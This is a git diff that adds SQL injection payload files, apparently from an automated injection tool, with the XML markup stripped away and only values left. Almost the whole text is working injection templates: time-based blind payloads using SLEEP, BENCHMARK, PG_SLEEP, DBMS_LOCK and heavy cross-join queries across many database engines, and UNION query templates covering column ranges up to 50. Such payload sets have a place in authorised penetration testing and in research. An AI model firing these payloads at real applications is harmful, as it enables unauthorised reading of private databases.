+ + + + HSQLDB >= 1.7.2 OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3,9 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB > 2.0 AND time-based blind (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + > 2.0 +
+ + + + HSQLDB > 2.0 OR time-based blind (heavy query) + 5 + 4 + 3 + 1,2,3,9 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + > 2.0 +
+ + + + HSQLDB > 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + > 2.0 +
+ + + + HSQLDB > 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + > 2.0 +
+ + + + Informix AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ + + + Informix OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ + + + Informix AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + -- + + + + +
+ Informix +
+ + + + Informix OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + -- + + + + +
+ Informix +
+ + + + ClickHouse AND time-based blind (heavy query) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+ + + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+ + + + + + + + MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE) + 5 + 3 + 2 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE) + 5 + 5 + 2 + 1,2,3,4,5 + 1 + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + + PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + # + + + + +
+ MySQL + >= 5.0.12 +
+ + + + + + MySQL >= 5.0.12 time-based blind - Parameter replace + 5 + 2 + 1 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) + 5 + 3 + 1 + 1,2,3,9 + 3 + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK) + 5 + 4 + 2 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + + + + +
+ MySQL + < 5.0.12 +
+ + + + MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 3 + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) + + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) + + + + +
+ MySQL + > 5.0.12 +
+ + + + MySQL time-based blind - Parameter replace (bool) + 5 + 4 + 1 + 1,2,3,9 + 3 + ([INFERENCE] AND SLEEP([SLEEPTIME])) + + ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (ELT) + 5 + 5 + 1 + 1,2,3,9 + 3 + ELT([INFERENCE],SLEEP([SLEEPTIME])) + + ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (MAKE_SET) + 5 + 5 + 1 + 1,2,3,9 + 3 + MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + + MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + PostgreSQL > 8.1 time-based blind - Parameter replace + 5 + 3 + 1 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + + Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) + 5 + 3 + 1 + 1,3,9 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+ + + + Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE) + 5 + 3 + 1 + 1,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + + + + +
+ Oracle +
+ + + + Oracle time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + + + + +
+ Oracle +
+ + + + SQLite > 2.0 time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) + + (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) + + + + +
+ SQLite + > 2.0 +
+ + + + Firebird time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+ + + + SAP MaxDB time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,3,9 + 3 + (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + + (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + + + + +
+ SAP MaxDB +
+ + + + IBM DB2 time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+ + + + + HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + + + +
+ HSQLDB + > 2.0 +
+ + + + Informix time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ + + + + + MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) + + + + +
+ MySQL + >= 5.0.12 +
+ + + + MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + + +
+ MySQL + < 5.0.12 +
+ + + + PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL + > 8.1 +
+ + + + PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) + + + + +
+ Microsoft SQL Server + Sybase +
+ + + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+ + + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE) + 5 + 3 + 1 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ + + + Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ + + + HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+ + + + HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + + + +
+ HSQLDB + > 2.0 +
+ + + + diff --git a/data/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml new file mode 100644 index 00000000000..9513892fafb --- /dev/null +++ b/data/xml/payloads/union_query.xml @@ -0,0 +1,742 @@ + + + + + + Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + [COLSTART]-[COLSTOP] + + + + + + + + Generic UNION query ([CHAR]) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + 1-10 + + + + + + + + Generic UNION query (NULL) - 1 to 10 columns + 6 + 1 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + 1-10 + + + + + + + + Generic UNION query ([RANDNUM]) - 1 to 10 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + 1-10 + + + + + + + + Generic UNION query ([CHAR]) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + 11-20 + + + + + + + + Generic UNION query (NULL) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + 11-20 + + + + + + + + Generic UNION query ([RANDNUM]) - 11 to 20 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + 11-20 + + + + + + + + Generic UNION query ([CHAR]) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + 21-30 + + + + + + + + Generic UNION query (NULL) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + 21-30 + + + + + + + + Generic UNION query ([RANDNUM]) - 21 to 30 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + 21-30 + + + + + + + + Generic UNION query ([CHAR]) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + 31-40 + + + + + + + + Generic UNION query (NULL) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + 31-40 + + + + + + + + Generic UNION query ([RANDNUM]) - 31 to 40 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + 31-40 + + + + + + + + Generic UNION query ([CHAR]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [CHAR] + 41-50 + + + + + + + Generic UNION query (NULL) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + NULL + 41-50 + + + + + + + + Generic UNION query ([RANDNUM]) - 41 to 50 columns + 6 + 5 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + [GENERIC_SQL_COMMENT] + [RANDNUM] + 41-50 + + + + + + + + MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+ + + + MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + [COLSTART]-[COLSTOP] + + + + +
+ MySQL +
+ + + + MySQL UNION query ([CHAR]) - 1 to 10 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 1-10 + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - 1 to 10 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 1-10 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([RANDNUM]) - 1 to 10 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 1-10 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([CHAR]) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 11-20 + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - 11 to 20 columns + 6 + 2 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 11-20 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([RANDNUM]) - 11 to 20 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 11-20 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([CHAR]) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 21-30 + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - 21 to 30 columns + 6 + 3 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 21-30 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([RANDNUM]) - 21 to 30 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [RANDNUM] + 21-30 + + + + +
+ MySQL +
+ + + + MySQL UNION query ([CHAR]) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + [CHAR] + 31-40 + + + + +
+ MySQL +
+ + + + MySQL UNION query (NULL) - 31 to 40 columns + 6 + 4 + 1 + 1,2,3,4,5 + 1 + [UNION] + + + # + NULL + 31-40 + + + + +
+ MySQL +
